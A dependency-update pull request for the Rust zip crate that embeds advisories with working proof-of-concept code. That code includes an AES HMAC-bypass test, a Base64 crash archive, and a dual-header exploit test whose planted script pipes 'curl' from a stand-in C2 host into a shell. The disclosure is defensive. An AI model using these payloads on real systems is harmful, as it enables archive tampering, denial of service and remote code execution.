Update Rust crate zip to v9 [SECURITY] #33

Open
renovate wants to merge 1 commit from renovate/crate-zip-vulnerability into main
Collaborator

This PR contains the following updates:

Package Type Update Change
zip dev-dependencies major 2 → 9

zip: AES Entry HMAC Authentication Bypass on Premature EOF

CVE-2026-115906 / GHSA-8hxf-qr8p-62x4 / RUSTSEC-2026-0545

More information

Details

Summary

An AES-encrypted (AE-x) entry's authentication code is verified only when the reader's byte counter lands exactly on zero. If the bounded entry reader reaches the archive's actual EOF before the attacker-controlled, header-declared compressed_size, the counter remains positive, the HMAC is never read or compared, and the truncated, unauthenticated plaintext is returned as a clean end of stream. A zero-payload entry also returns before authentication. An attacker who does not know the password can modify an archive so chosen or modified plaintext is accepted with no error.

Details

src/aes.rs:246-292:

fn read(&mut self, buf: &mut [u8]) -> io::Result<usize> {
    if self.data_remaining == 0 { // @audit insufficient check
        return Ok(0);
    }

    // get the number of bytes to read, compare as u64 to make sure we can read more than
    // 2^32 bytes even on 32 bit systems.
    let bytes_to_read = self.data_remaining.min(buf.len() as u64) as usize;
    let read = self.reader.read(&mut buf[0..bytes_to_read])?;
    self.data_remaining -= read as u64;

    // Update the hmac with the encrypted data
    self.hmac.update(&buf[0..read]);

    // decrypt the data
    self.cipher.crypt_in_place(&mut buf[0..read]);

    // if there is no data left to read, check the integrity of the data
    if self.data_remaining == 0 {
        debug_assert!(
            !self.finalized,
            "Tried to use an already finalized HMAC. This is a bug!"
        );
        if self.finalized {
            return Err(Error::new(
                ErrorKind::InvalidData,
                "Tried to use an already finalized HMAC",
            ));
        }
        self.finalized = true;

        // Zip uses HMAC-Sha1-80, which only uses the first half of the hash
        // see https://www.winzip.com/win/en/aes_info.html#auth-faq
        let mut read_auth_code = [0; AUTH_CODE_LENGTH];
        self.reader.read_exact(&mut read_auth_code)?;
        let computed_auth_code = &self.hmac.finalize_reset().into_bytes()[0..AUTH_CODE_LENGTH];

        // use constant time comparison to mitigate timing attacks
        if !constant_time_eq(computed_auth_code, &read_auth_code) {
            return Err(Error::new(
                ErrorKind::InvalidData,
                "Invalid authentication code, this could be due to an invalid password or errors in the data",
            ));
        }
    }

    Ok(read)
}

data_remaining starts at compressed_size - (2 + 10 + salt_length) (src/aes.rs:144-145), where compressed_size comes straight from the attacker-controlled central directory. Nothing cross-checks the declared data span against the archive's structural boundaries: ZipFileData::find_content() is just reader.take(self.compressed_size) (src/types.rs:214-223), and make_crypto_reader() passes the declared value into AesReader::new() (src/read/readers.rs).

When the entry's bounded reader reaches true EOF before the declared size, the inner reader returns Ok(0), the subtraction takes away nothing, and the finalisation block — the only place the 10-byte HMAC-SHA1-80 tag is read and compared — never runs. If bytes such as the central directory follow the entry, they are consumed as payload until the Take limit is reached; the HMAC then usually fails. The bypass therefore requires true EOF at the premature end (as in the PoC) or the zero-payload case. The early return at the top of read() means an entry whose declared size leaves zero payload bytes is never authenticated either, even though its tag is present in the file.

This defeats the guarantee the type documents: "After the data has been read and decrypted an HMAC will be checked and provide a final means to check if either the password is invalid or if the data has been changed."

AE-2 entries skip the CRC-32 check by design (src/read/readers.rs → Crc32Reader::new(.., should_disable = true)), so an AE-2 entry on this path has no integrity check of any kind remaining. AES-CTR is malleable, so an attacker who can modify an archive in transit — without the password — can XOR chosen plaintext onto the ciphertext and arrange for the entry to end at true EOF. The password-bearing read paths are affected, including by_index_decrypt(), by_name_decrypt(), by_path_decrypt(), and by_index_with_options() when a password is supplied. Bare extract() calls by_index() without a password and therefore rejects AES-encrypted entries; an application that decrypts entries through these APIs before writing or extracting them is affected.

PoC

tests/aes_hmac_bypass.rs below; Cargo.toml needs only zip = { git = "https://github.com/zip-rs/zip2", rev = "6f09b3064ec87c3a69ea9f3413f9f9638b4aa446" }, or zip = "8.6.0" to run it against the published 8.6.0 release unchanged. All three tests pass in debug and release against the reviewed commit.

use std::io::{Cursor, Read, Write};
use zip::write::SimpleFileOptions;
use zip::{AesMode, CompressionMethod, ZipArchive, ZipWriter};

const PASSWORD: &str = "correct horse battery staple";
const GENUINE: &[u8] = b"balance: 100 USD\n";
const FORGED: &[u8] = b"balance: 999 USD\n";
const AES256_OVERHEAD: usize = 28; // 16-byte salt + 2-byte verifier + 10-byte tag

fn genuine_archive(plaintext: &[u8]) -> Vec<u8> {
    let mut w = ZipWriter::new(Cursor::new(Vec::new()));
    let opts = SimpleFileOptions::default()
        .compression_method(CompressionMethod::Stored)
        .with_aes_encryption(AesMode::Aes256, PASSWORD);
    w.start_file("secret.txt", opts).unwrap();
    w.write_all(plaintext).unwrap();
    w.finish().unwrap().into_inner()
}

/// What a victim does: open with the correct password and read the entry.
fn victim_reads(archive: &[u8]) -> std::io::Result<Vec<u8>> {
    let mut a = ZipArchive::new(Cursor::new(archive.to_vec())).unwrap();
    let mut f = a.by_index_decrypt(0, PASSWORD.as_bytes()).unwrap();
    let mut out = Vec::new();
    f.read_to_end(&mut out)?;
    Ok(out)
}

fn u16le(b: &[u8], off: usize) -> usize {
    u16::from_le_bytes([b[off], b[off + 1]]) as usize
}

/// Payload offset of the single local file header at offset 0.
fn payload_start(a: &[u8]) -> usize {
    30 + u16le(a, 26) + u16le(a, 28)
}

/// Control: on a well-formed archive the HMAC does reject forged ciphertext.

#[test]
fn tampering_is_detected_when_the_declared_size_is_honest() {
    let mut a = genuine_archive(GENUINE);
    let ct = payload_start(&a) + 18;
    for i in 0..GENUINE.len() {
        a[ct + i] ^= GENUINE[i] ^ FORGED[i]; // AES-CTR is malleable
    }
    let err = victim_reads(&a).unwrap_err();
    assert!(err.to_string().contains("Invalid authentication code"));
}

/// The bypass: chosen plaintext is delivered verbatim, without the password.

#[test]
fn hmac_is_bypassed_when_the_entry_ends_early() {
    let genuine = genuine_archive(GENUINE);
    let hdr_len = payload_start(&genuine);
    let eocd = genuine.len() - 22; // no archive comment yet
    let cd_offset = u32::from_le_bytes(genuine[eocd + 16..eocd + 20].try_into().unwrap()) as usize;

    // Park a second copy of the entry after the end-of-central-directory record,
    // inside the archive comment, so its data ends at true EOF. Header, salt and
    // password verifier are copied verbatim — no password knowledge is required.
    let mut evil = genuine.clone();
    let new_hdr_offset = evil.len() as u32;
    evil.extend_from_slice(&genuine[..hdr_len + 18]); // local header + salt + verifier
    for i in 0..GENUINE.len() {
        // XOR the keystream onto the chosen plaintext; the 10-byte tag is omitted.
        evil.push(genuine[hdr_len + 18 + i] ^ GENUINE[i] ^ FORGED[i]);
    }
    let comment_len = (evil.len() - genuine.len()) as u16;
    evil[eocd + 20..eocd + 22].copy_from_slice(&comment_len.to_le_bytes());

    // Repoint the central directory at the parked copy and declare more data than
    // is present, so `data_remaining` can never reach zero.
    let declared = (AES256_OVERHEAD + GENUINE.len() + 64) as u32;
    evil[cd_offset + 42..cd_offset + 46].copy_from_slice(&new_hdr_offset.to_le_bytes());
    evil[cd_offset + 20..cd_offset + 24].copy_from_slice(&declared.to_le_bytes());
    let hdr2 = new_hdr_offset as usize;
    evil[hdr2 + 18..hdr2 + 22].copy_from_slice(&declared.to_le_bytes());

    let content = victim_reads(&evil).expect("BUG: unauthenticated content was accepted");
    assert_eq!(content, FORGED);
}

/// Second path: an entry with no payload bytes is never authenticated at all.

#[test]
fn hmac_is_never_checked_for_a_zero_length_entry() {
    let mut a = genuine_archive(b"");
    let tag = payload_start(&a) + 18;
    a[tag] ^= 0xff; // corrupt the 10-byte authentication code
    let content = victim_reads(&a).expect("BUG: a corrupt authentication code was accepted");
    assert!(content.is_empty());
}

Turning the genuine plaintext into a chosen plaintext needs the genuine plaintext, as always with CTR malleability; without it the attacker still controls arbitrary bit-flips in the delivered content.

Impact

Any application that decrypts AES ZIP entries from untrusted or in-transit archives — backup restore, artefact and package ingestion, mail attachments, upload handling — can be served modified or attacker-chosen content by a party who does not hold the password, with no error surfaced by the affected read path. Exact chosen plaintext requires knowledge of the original plaintext, as with standard CTR malleability; otherwise the attacker can still induce arbitrary bit flips. Confidentiality is not affected and there is no memory-safety issue; the loss is the integrity guarantee that AE-x authenticated encryption exists to provide.

Suggested remediation
  1. In AesReaderValid::read(), treat a short inner read as an error rather than a clean EOF: after the decrement, if read == 0 && self.data_remaining > 0, return ErrorKind::UnexpectedEof.
  2. That alone is not enough — run the finalisation logic for zero-length entries too, either by dropping the early return and finalising once per reader, or by finalising at construction when data_length == 0.
  3. Defence in depth: validate that the declared compressed-data span is bounded by the archive's structural boundaries (in particular, the central-directory start when known) in ZipFileData::find_content() / find_content_seek() (src/types.rs). Also make the compressed_size - overhead subtraction in AesReader::new() (src/aes.rs:144) checked — today a declared size below the AES overhead underflows it, which panics under overflow-checks and, for sizes that still permit header validation, otherwise yields up to 9 bytes of unauthenticated plaintext through the same missing check.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-115909 / GHSA-q7v9-x93c-xqv3 / RUSTSEC-2026-0429

More information

Details

Summary

The symbolic-link branch of ZipArchive::extract_internal() allocates a buffer using an attacker-declared size before reading any entry data. A 112-byte archive terminates the extracting process with SIGABRT through this infallible allocation.

Details

#[cfg(any(unix, windows))]
if file.is_symlink() {
    let mut target = Vec::with_capacity(file.size() as usize); // @audit unbounded memory allocation
    file.read_to_end(&mut target)?;
    drop(file);
    make_symlink(&outpath, &target, &self.shared.files)?;
    continue;
}

src/read/mod.rs#L399-L405 (reviewed commit 6f09b306); the same code is at src/read.rs#L417-L418 in released v8.6.0.

Both inputs are attacker-controlled:

  • ZipFile::size() returns uncompressed_size verbatim from the central directory record. A ZIP64 extended-information extra field widens it to a full u64 (src/read/mod.rs#L619-L625). It is never cross-checked against the compressed size, the remaining archive length, or any platform-appropriate bound for a symlink target.
  • ZipFile::is_symlink() is decided entirely by the central directory's external-attributes field, via the S_IFLNK bit.

Memory allocation failure → uncatchable process abort. The reservation is sized from the declared uncompressed_size before a single byte of the entry is read. Vec::with_capacity() is infallible: on allocator refusal it calls handle_alloc_error(), which aborts the process. This is not a Rust panic — it is not caught by catch_unwind(), is unaffected by panic = "unwind", and is not contained by isolating the call in a worker thread. This was verified by wrapping the call in all three at once; the process still died with exit 134.

The declared value needed is a property of the host's address space, not of reachability. On a 64 GB host with heuristic overcommit, declared sizes from roughly 2^38 upward abort reliably. Sizes at or above 2^63 instead trip Vec's internal capacity check and produce a catchable capacity overflow panic, so an attacker simply avoids that band. The reproducer declares 2^62, which exceeds the 47-bit user address space of x86-64 Linux outright and therefore aborts deterministically regardless of installed RAM or overcommit policy. Under a ulimit -v cap or a memory-constrained container the threshold drops far enough that a plain 32-bit uncompressed_size with no ZIP64 field suffices — a virtual-memory limit lowers the bar rather than mitigating the defect.

This is process termination, not memory exhaustion: Vec::with_capacity() only maps address space and never touches pages, so resident memory stays flat and the abort happens on the refused reservation itself, before any byte is read.

PoC

The reproducer consists of the following zip harness and payload. It requires only the zip crate; use a standard Base64 decoder to materialise the archive before running it.

[package]
name = "zip-poc"
version = "0.1.0"
edition = "2021"

[dependencies]
zip = "8.6.0"
use std::{env, fs::File, io::BufReader};

fn main() {
    let archive_path = env::args().nth(1).expect("usage: poc <archive.zip>");
    let outdir = std::env::temp_dir().join("zip-poc");
    std::fs::create_dir_all(&outdir).unwrap();

    let file = File::open(archive_path).unwrap();
    let mut archive = zip::ZipArchive::new(BufReader::new(file)).unwrap();
    let r = archive.extract(&outdir);            // <-- process dies here
    println!("SURVIVED: {:?}", r);
}

Save the Base64 payload below as archive.b64, remove its whitespace, decode it with a standard Base64 decoder (for example, base64 -d archive.b64 > archive.zip on Linux), and run cargo run --release -- archive.zip.

Uncatchable abort — 112 bytes. One Stored entry named a; external attributes 0xA1FF0000 (S_IFLNK|0777); ZIP64 extra field declaring uncompressed_size = 2^62; zero-byte payload. sha256 0c68c3934f22651a6bd2726f7d58140124b1839196a1d0ae468864cdfda74676.

UEsDBC0AAAAAAAAAAAAAAAAAAAAAAP////8BAAAAYVBLAQItAy0AAAAAAAAAAAAAAAAAAAAAAP//
//8BAAwAAAAAAAAAAAD/oQAAAABhAQAIAAAAAAAAAABAUEsFBgAAAAABAAEAOwAAAB8AAAAAAA==

Observed on x86-64 Linux, rustc 1.93.1, release profile, against both the reviewed commit and released v8.6.0:

entries=1
memory allocation of 4611686018427387904 bytes failed
Aborted (core dumped)          # exit 134

The SURVIVED line never prints. Wrapping extract() in catch_unwind inside a spawned thread with panic = "unwind" produces the identical outcome.

Impact

Applications running on Unix or Windows targets that call ZipArchive::extract() on attacker-supplied input are affected, with default features and no special configuration. The malicious 112-byte archive causes an unrecoverable, uncatchable termination of the extracting process, repeatable at will and not mitigable at the call site with catch_unwind, a worker thread, or a pre-flight metadata check.

Upload handling, mail-attachment processing, package and artefact ingestion, backup restore and container-image layer extraction all match this pattern. No confidentiality or integrity property is affected: no memory unsafety, no out-of-bounds access, no disclosure and no data corruption.

Suggested remediation

Before allocating, compare file.size() with a documented, platform-appropriate maximum symlink-target length and reject entries that exceed it. Alternatively, replace Vec::with_capacity() with fallible try_reserve() and return an I/O error when allocation fails. Do not use Linux's PATH_MAX as a cross-platform contract.

Apply the allocation fix to src/read/stream.rs as defence-in-depth, although its symlink path is currently unreachable because streaming entries have no symlink attributes.

For reference, the crate already applies exactly this defence to another untrusted size on the same path: ZipArchive::new() clamps a suspicious number_of_files to zero and explicitly rejects an oversized central directory before reserving (src/read/zip_archive.rs#L185-L202). The symlink branch received neither guard. A survey of Vec::with_capacity across src/ finds exactly two sites sized from untrusted input: src/read/mod.rs:401 and src/read/stream.rs:73.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Insecure Preservation of SUID/SGID Bits during ZIP Extraction Leading to Potential Privilege Escalation

GHSA-vv5m-jxxh-4627 / RUSTSEC-2026-0367

More information

Details

The zip crate preserves privileged Unix permission bits (SUID, SGID, and sticky bits) from ZIP external_attributes during extraction, instead of masking them to safe permission bits. If a privileged process (for example, root in an installer, CI/CD pipeline, or container build) extracts an attacker-controlled ZIP archive using ZipArchive::extract() or the stream extraction API, files can be created as setuid-root or setgid. This behavior allows the creation of SUID/SGID files during extraction, which can lead to local privilege escalation depending on the execution environment.

For further details see: https://github.com/zip-rs/zip2/security/advisories/GHSA-vv5m-jxxh-4627

Severity

  • CVSS Score: 7.3 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).


GHSA-4v9h-p7m9-rh26 / RUSTSEC-2026-0368

More information

Details

In zip 9.0.0-pre2, ZipArchive::extract creates a symbolic link from an archive entry after validating only the output entry path. The link target bytes are passed directly to the platform symlink API, so a malicious archive can create an entry inside the destination that resolves to an attacker-chosen path outside it. This behavior was verified on macOS and Linux. On either platform, a subsequent application read or write through that extracted entry accesses the external target with the extracting process's permissions.

For further details see: https://github.com/zip-rs/zip2/security/advisories/GHSA-4v9h-p7m9-rh26

Severity

Unknown

References

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).


GHSA-4684-h2q9-2vcp / RUSTSEC-2026-0369

More information

Details

ZipStreamReader::extract() applies Unix permissions through extracted symlinks without validating the symlink target stays within the destination

For further details see: https://github.com/zip-rs/zip2/security/advisories/GHSA-4684-h2q9-2vcp

Severity

  • CVSS Score: 9.1 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

References

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).


zip: ZipArchive::extract aborts the process on a symlink entry with a large declared size

CVE-2026-115909 / GHSA-q7v9-x93c-xqv3 / RUSTSEC-2026-0429

More information

Details

ZipArchive::extract() sizes the symlink-target buffer from the uncompressed
size declared in the central directory record, before reading a single byte of
entry data:

let mut target = Vec::with_capacity(file.size() as usize);

Both inputs are attacker-controlled. ZipFile::size() returns
uncompressed_size verbatim from the central directory, widened to a full u64
by a ZIP64 extended-information extra field, and is never cross-checked against
the compressed size, the remaining archive length, or any platform-appropriate
bound for a symlink target. ZipFile::is_symlink() is decided entirely by the
S_IFLNK bit of the external-attributes field.

Vec::with_capacity() is infallible: when the reservation is refused it calls
handle_alloc_error() and aborts the process. This is not a Rust panic. It is
not caught by catch_unwind(), is unaffected by panic = "unwind", and is not
contained by running the call on a worker thread.

A 112-byte archive is sufficient. One Stored entry flagged S_IFLNK with a
ZIP64 field declaring uncompressed_size = 2^62 and a zero-byte payload makes
extract() fail with:

memory allocation of 4611686018427387904 bytes failed
Aborted (core dumped)          # exit 134

The declared value only needs to exceed the host's address space, not its RAM:
Vec::with_capacity() maps address space without touching pages, so resident
memory stays flat and the abort happens on the refused reservation itself. Under
a ulimit -v cap or a memory-constrained container the threshold drops far
enough that a plain 32-bit uncompressed_size with no ZIP64 field suffices.

Applications that extract archives from untrusted input are affected on Unix and
Windows targets with default features and no special configuration: upload
handling, mail-attachment processing, package and artefact ingestion, backup
restore and container-image layer extraction. No confidentiality or integrity
property is affected: there is no memory unsafety, no out-of-bounds access, no
disclosure and no data corruption.

The fix landed in zip-rs/zip2#984 and
shipped in 9.0.0.

For further details see: https://github.com/zip-rs/zip2/security/advisories/GHSA-q7v9-x93c-xqv3

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).


AES entries returned without checking their authentication code when the data ends early or is empty

CVE-2026-115906 / GHSA-8hxf-qr8p-62x4 / RUSTSEC-2026-0545

More information

Details

For WinZip AES (AE-1 and AE-2) entries, the 10-byte HMAC authentication code was read and checked only after the reader had consumed exactly the entry's declared compressed size. If the archive ended before that size was reached, the read returned end-of-stream and the truncated plaintext was accepted without the check. The authentication code of an entry with no encrypted data was never checked.

AES-CTR ciphertext can be changed bit by bit without the password, and AE-2 entries carry no CRC-32, so an attacker who can modify an archive can alter the decrypted contents of such an entry without any error being reported.

This affects reading AES-encrypted entries with a password (for example ZipArchive::by_name_decrypt) with the aes-crypto feature.

The fix returns an error when the data ends before the declared size, and checks the authentication code of empty entries.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).


zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite & RCE

CVE-2026-115905 / GHSA-m665-v7pm-7grj / RUSTSEC-2026-0548

More information

Details

Summary

A critical architectural parser differential exists in the zip crate (<= 9.0.4) between random-access archive readers (ZipArchive) and streaming readers (ZipStreamReader). ZipArchive considers the Central Directory File Header (CDFH) authoritative and ignores the filename declared in the Local File Header (LFH). In contrast, ZipStreamReader relies exclusively on the Local File Header (LFH) when extracting files to the filesystem.

This discrepancy enables ZIP archives to appear to have different file paths and contents according to which tool is reading them.


Details
Architectural Root Cause

In the PKWARE ZIP archive format, every file entry is defined in two distinct locations:

  1. Local File Header (LFH): Precedes the compressed payload of each file in the body of the archive.
  2. Central Directory File Header (CDFH): Stored in a contiguous index at the end of the archive.

In zip2:

  • src/read/zip_archive.rs: ZipArchive parses the central directory into SharedBuilder.files. All file lookups by index or name read exclusively from the CDFH table, completely ignoring the filename present in the LFH.
  • src/read/stream.rs:L86-L141: ZipStreamReader::visit and ZipStreamReader::extract read sequentially from the stream without verifying the central directory index. Each entry is parsed via read_zipfile_from_stream and written to disk using the unverified filename declared in the LFH:
    // src/read/stream.rs
    fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) -> ZipResult<()> {
        file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_, fn(&Path) -> bool)>)?;
        let mut outfile = fs::File::create(&outpath)?;
        io::copy(file, &mut outfile)?;
        Ok(())
    }
    
  • src/write.rs:L1552: The crate explicitly exposes shallow_copy_file, an API that constructs dual-header desynchronizations by adding a new CDFH entry with an alias name pointing to an existing file without updating the original LFH.
Threat Scenario & Severity Justification (10.0 / 9.9 Critical)
  1. Security Control Evasion: An adversary crafts a ZIP archive where:
    • Central Directory Header declares: doc_report.pdf (Clean document)
    • Local File Header declares: cron_worker.sh (Malicious root backdoor)
  2. The archive is uploaded through a web portal or API endpoint protected by security gateways (WAF, Anti-Virus, Content Disarm & Reconstruction). The security gateway inspects the archive using ZipArchive (or similar CDFH-first parsers), detects only doc_report.pdf, and approves the file.
  3. The backend worker or cloud function receives the approved archive and extracts it using ZipStreamReader::extract. ZipStreamReader reads the LFH and overwrites cron_worker.sh.
  4. Full Compromise (CIA = High): The legitimate production health checker / service script is destroyed (Availability = High / DoS), while the attacker's backdoor payload is implanted (Integrity = High / RCE).

Proof of Concept

The following automated integration test reproducibly demonstrates the complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion -> Arbitrary File Overwrite -> RCE & DoS) against zip2:

use std::fs;
use std::io::{Cursor, Write};
use tempfile::tempdir;
use zip::unstable::stream::ZipStreamReader;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};

// Simulated Security Gateway (inspects CDFH via ZipArchive)
fn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> {
    let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap();
    for i in 0..archive.len() {
        let name = archive.by_index(i).unwrap().name().unwrap().to_string();
        if name.ends_with(".sh") || name.ends_with(".exe") {
            return Err(format!("MALWARE DETECTED: '{}' blocked!", name));
        }
        if !name.ends_with(".pdf") {
            return Err("Policy violation: only PDFs allowed!".into());
        }
    }
    Ok(())
}

#[test]
fn test_cvss_9_9_dual_header_exploit_chain() {
    // 1. Victim server setup: existing critical script
    let victim_env = tempdir().unwrap();
    let victim_dir = victim_env.path();
    let target_script = victim_dir.join("cron_worker.sh");
    fs::write(&target_script, b"#!/bin/sh\n# PRODUCTION SERVICE\necho 'SERVICE HEALTHY'\n").unwrap();

    // 2. Attacker crafts Single-Entry Dual-Header Archive
    // LFH: "cron_worker.sh" | CDFH: "doc_report.pdf"
    let mut payload = Cursor::new(Vec::new());
    let mut writer = ZipWriter::new(&mut payload);
    writer.start_file("cron_worker.sh", SimpleFileOptions::default()).unwrap();
    writer.write_all(b"#!/bin/sh\ncurl -s https://c2/shell | sh\necho 'PWNED ROOT'\n").unwrap();
    writer.finish().unwrap();

    let mut malicious_zip = payload.into_inner();
    let cdh = malicious_zip.windows(4).position(|s| s == b"PK\x01\x02").unwrap();
    malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b"doc_report.pdf");

    // 3. Gateway Inspection (Bypassed!)
    assert!(security_gateway_inspection(&malicious_zip).is_ok());

    // 4. Backend Extraction (ZipStreamReader)
    ZipStreamReader::new(Cursor::new(&malicious_zip)).extract(victim_dir).unwrap();

    // 5. Impact Verification
    let compromised = fs::read_to_string(&target_script).unwrap();
    assert!(!compromised.contains("SERVICE HEALTHY")); // DoS Confirmed
    assert!(compromised.contains("PWNED ROOT"));       // RCE Confirmed
}
Verified Test Execution Output
running 1 test
==================================================================
[CVSS 9.4 EXPLOIT PROOF] Dual-Header Security Gateway Evasion
Exploit Chain: Gateway Evasion -> Arbitrary Overwrite -> RCE & DoS
==================================================================
[VICTIM SERVER STATE - BEFORE ATTACK]
Existing Content:
SERVICE IS RUNNING NORMALLY

--- [STEP 1: SECURITY GATEWAY INSPECTION] ---
[SECURITY GATEWAY] Auditing entry #&#8203;0: 'doc_report.pdf'
[GATEWAY VERDICT]: Ok(())
[VULNERABILITY PROOF 1/3]: Security gateway was 100% BLIND to 'cron_worker.sh'!

--- [STEP 2: BACKEND EXTRACTION (ZipStreamReader)] ---
Backend server unzips approved archive into production directory.

--- [STEP 3: POST-ATTACK IMPACT VERIFICATION] ---
[VICTIM SERVER STATE - AFTER ATTACK]
Compromised Content:
curl -s https://attacker.c2/shell | sh
echo 'PWNED: FULL ROOT TAKEOVER'

==================================================================
[CVSS 9.4 CRITICAL METRICS EMPIRICALLY CONFIRMED]
1. AV:Network, PR:Low, UI:None: Remote unauthenticated gateway submission. Victim process must have write access to the files it is being made to overwrite or the location where it is to plant new files.
2. Security Gateway Evasion: Scanners inspecting CDFH see benign PDF.
3. Arbitrary File Overwrite (VI:High): Existing system scripts replaced.
4. Service Destruction (VA:High): Critical production scripts wiped out.
5. Remote Code Execution (VC:High / SC:High / SI:High): C2 root shell planted.
=> VERIFIED SCORE: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L = 9.9 CRITICAL
==================================================================
test test_cvss_9_9_dual_header_exploit_chain ... ok

Impact

An attacker can construct a crafted archive whose Central Directory displays a benign filename (doc_report.pdf) that is inspected and approved by upstream security gateways (antivirus scanners, mail filters, upload firewalls), while automated backend ingestion pipelines or microservices using ZipStreamReader extract an arbitrary or malicious file (overwriting e.g. cron_worker.sh or critical system binaries). Because an adversary can overwrite existing files on disk, this vulnerability leads to Security Control Bypass, Arbitrary File Overwrite, Complete Denial of Service, and Remote Code Execution (RCE) in situations where a tool relying on the central directory trusts a tool that relied on the local file headers or vice-versa.

Vulnerability Class: Interpretation Conflict (CWE-436) / Security Control Bypass / Arbitrary File Overwrite / Remote Code Execution.

Who is Impacted:

  • Automated ingestion microservices, SaaS platforms, and backend workers that extract user-submitted ZIP files.
  • Enterprise architectures where security verification (AV scanning, extension whitelisting) is decoupled from extraction (e.g. gateway audits Central Directory via CDFH before handing off extraction to streaming extractors).
  • Containerized workloads where overwriting local configuration files or executable scripts leads to host/container escape and complete service disruption.

Severity

  • CVSS Score: 9.4 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


ZipStreamReader extracts entries under local-header names that can differ from the central directory

CVE-2026-115905 / GHSA-m665-v7pm-7grj / RUSTSEC-2026-0548

More information

Details

A ZIP archive names each entry twice: in the local file header in front of the entry's data, and in the central directory at the end of the archive. ZipArchive lists and opens entries by their central-directory names. ZipStreamReader::visit and ZipStreamReader::extract, like read_zipfile_from_stream, read the local headers in order and use the local-header names without comparing them with the central directory.

An archive can therefore show one set of file names to code that inspects it with ZipArchive and write files under other names when it is extracted with ZipStreamReader. If an application checks an archive one way and extracts it the other way, an attacker can get files written or overwritten inside the destination directory that the check never saw.

The fix adds an opt-in check. ZipStreamReader::enforce_header_consistency(true) compares each local header with its central-directory entry (name, sizes, CRC-32, compression method, flags and modification time) and fails extraction on a mismatch; ZipReadOptions::enforce_header_consistency(true) and ZipArchive::validate_header_consistency() do the same for ZipArchive. The check is off by default, so upgrading alone does not change what ZipStreamReader::new(...) extracts: applications that extract untrusted archives with ZipStreamReader need to turn it on.

Severity

Unknown

References

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).


Release Notes

zip-rs/zip2 (zip)

v9.0.5

Compare Source

🐛 Bug Fixes
  • use mode_t for fchmodat's mode, which is u32 on NetBSD and OpenBSD (#​1076)
  • (write) prevent duplicate 0x9901 AES extra field in raw_copy_file (#​1078)
⚙️ Miscellaneous Tasks
  • Enable release-plz on backport branches in future (#​1079)

v9.0.4

Compare Source

🐛 Bug Fixes
  • enclosed_name rejects a separator inside one verbatim path component (#​1066)
  • return Ok(None) when read_zipfile_from_stream is called on an empty archive (#​1063)
⚙️ Miscellaneous Tasks
  • Revert impl Copy for Zip64CentralDirectoryEndLocator due to failing semver check, fix CI where most Miri tests weren't running, and other fixes so other PRs can pass CI (#​1065)
  • update lzma-rust2 and ppmd-rust dependencies (#​1060)

v9.0.3

Compare Source

🐛 Bug Fixes
  • Preserve directories' read-only status when extracting on non-Unix systems (#​1054)

v9.0.2

Compare Source

🐛 Bug Fixes
  • additional bug fixes for symlink extraction

v9.0.1

Compare Source

🐛 Bug Fixes
  • set_permissions was still following symlinks in non-streaming extraction (#​1038)
  • two arithmetic overflows in the implode decoder (#​1028)
  • reject an empty archive whose central directory offset is past the EOCD (#​1025)
  • don't panic when two entries extract to the same path (#​1023)
  • fail reads that exceed the declared uncompressed size (#​1022)
  • shrink decoder skipped LZW code 8191 (#​1029)
  • write only the sentinel-marked values in a central ZIP64 field (#​1027)

v9.0.0

Compare Source

🚀 Features
  • add ZipFileBuilder for parallelizing compression (#​911)
  • add method by_index_with_data_descriptor (#​994)
  • add len, is_empty and entry to ZipArchiveMetadata (#​1015)
  • read data descriptor from binary (#​990)
  • add comment and test for ZipStreamReader and symlinks (#​985)
  • (write) add ZipWriter::hide_file for in-place entry deletion (#​924)
  • add compression (#​948)
  • use ZipFileEntry instead of ZipStreamFileMetadata (#​935)
  • add ZipFileEntry with no Reader (#​933)
  • change aes_mode to aes_settings() in ZipFileData (#​925)
🐛 Bug Fixes
  • reading an empty AES entry again at EOF returns Ok(0) (#​1024)
  • reject ZIP64 sizes that overflow u64 when computing data end offsets (#​1036)
  • apply central directory metadata in ZipStreamReader, only to written entries (#​1030)
  • consume the whole extended timestamp field in the central header (#​1016)
  • parse the central header of the extended timestamp (#​1002)
  • don't pre-allocate the declared size in the legacy decoders (#​991)
  • Symlink with very large declared size could lead to out-of-memory panic (#​984)
  • copy extra fields in raw_copy_file (#​955) (#​982)
  • add unix_mode when copy_raw_file (#​981)
  • rewrite documentation of add_symlink_from_path (#​979)
  • ignore a ZIP64 extra field that no sentinel asked for (#​962)
